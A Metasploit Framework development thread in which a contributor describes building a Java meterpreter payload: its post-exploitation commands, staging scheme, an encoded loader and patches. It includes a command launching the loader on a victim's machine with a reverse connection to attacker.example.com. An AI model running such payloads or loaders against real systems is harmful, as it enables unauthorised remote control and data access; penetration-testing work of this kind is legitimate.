Metasploit Framework

Michael: If you want to pick up the torch and build a java meterpreter, I'm all for it. =)

At a minimum, java payloads need to be able to start a new java instance for getting out of applet context so closing a browser / navigating away doesn't kill your shell. I'd love to see Java as a first-class citizen. Again, a native meterpreter will probably be better in most cases, though, so I agree with Stephen that we need some way to go from javaterpreter to native meterpreter.

Attached is my attempt at building a Java meterpreter. It supports the commands supported
by the PHP meterpreter and additionally the ipconfig, route and screenshot commands. All without
a native line of code. Minimum Java version is 1.2, but some commands require 1.3, 1.4 or 1.6.

List of all supported methods (depending on Java version):

mgr.registerCommand("core_channel_close", core_channel_close.class);
mgr.registerCommand("core_channel_eof", core_channel_eof.class);
mgr.registerCommand("core_channel_interact", core_channel_interact.class);
mgr.registerCommand("core_channel_open", core_channel_open.class);
mgr.registerCommand("core_channel_read", core_channel_read.class);
mgr.registerCommand("core_channel_write", core_channel_write.class);
mgr.registerCommand("core_loadlib", core_loadlib.class);

mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path.class); // %COMSPEC% only
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class, V1_2, V1_6);
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces.class, V1_4, V1_6);
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4);
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3);
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3);
mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4);

It can be either loaded standalone on the victim's machine (java -jar loader.jar attacker.example.com 4444) or can be used
with a JavaPayload (by the use of a proxy process written in Java running on the attacker's machine).

Besides from upgrading to a native meterpreter, what else is missing?

Okay, new version of java meterpreter.

Fixed the classloader bug in the previous one we discussed about in IRC, and changed expand path to use $SHELL for COMSPEC on unix when Java is 1.5 or above (so we can read environment variables).

Also added channel_create_stdapi_net_tcp_server (tested with pivoting another java meterpreter), and channel_create_stdapi_net_udp_client (tested with scanner/discovery/udp_probe). What I could not test is the feature to create the udp socket unconnected and submit a peer host/port on the individual write requests, because I could not find a module using it (it should work though). When an UDP read returns an ICMP error (like port unreachable), it is silently discarded.

Michael: Thanks for your contribution! It's mostly integrated (and works with java_calendar_deserialize) now. One thing I need to take a look at is how you embed parameters into the loader so we can do it in ruby to avoid the requirement of a JRE on the attacker's machine.

As discussed yesterday with James Lee on IRC, here is a special java payload version for Metasploit: One single Payload class that can do bind/reverse tcp and load stage classes over the network, based on a text file (Property file) inside the jar. I also added a bunch of stage classes (including Shell, UpExec and Meterpreter) that should be easily callable from Ruby.

New version of Java meterpreter:
- Added support for stdapi_fs_search
- Removed the old loader.jar and JavaPayloadProxy.jar, as they are no longer needed
- Removed the old metasploit patch file and documentation, as it has been applied
- Update the debug loader so that it works with the current payload staging scheme
(it will ignore the uploaded classes and jars, though).

As it seems you don't keep the source code in SVN, the only file to update is ext_server_stdapi.jar

An ASCII85 encoded version of Payload.class plus some Java code for decoding and loading it, all in a single method (method header not included). Might come useful as a drop-in replacement for running Java meterpreter instead of some hard-coded Java code, for example in auxiliary/admin/oracle/post_exploitation/*.rb (or for the jsp wars, or any other place you can find when grepping for "Runtime.getRuntime" or "FileOutputStream", which is part of almost every "inline" Java code I found in Metasploit), especially when there is no jar file to load the class and the configuration file from.

As you might have guessed, the first line contains the "configuration file" as a String.

This version supports all the stuff supported by the "binary" version (including Spawn), and has been tested with JRE 1.2+.

Feel free to use or not to use as you like.

source code and build script for javasource.txt

You are right, executables can be only uploaded, not embedded.

But this can be changed easily, a patch is attached.

Tested only on Windows, though (i. e. the setExecutable() code is untested), as I don't have access to other OSes at the moment.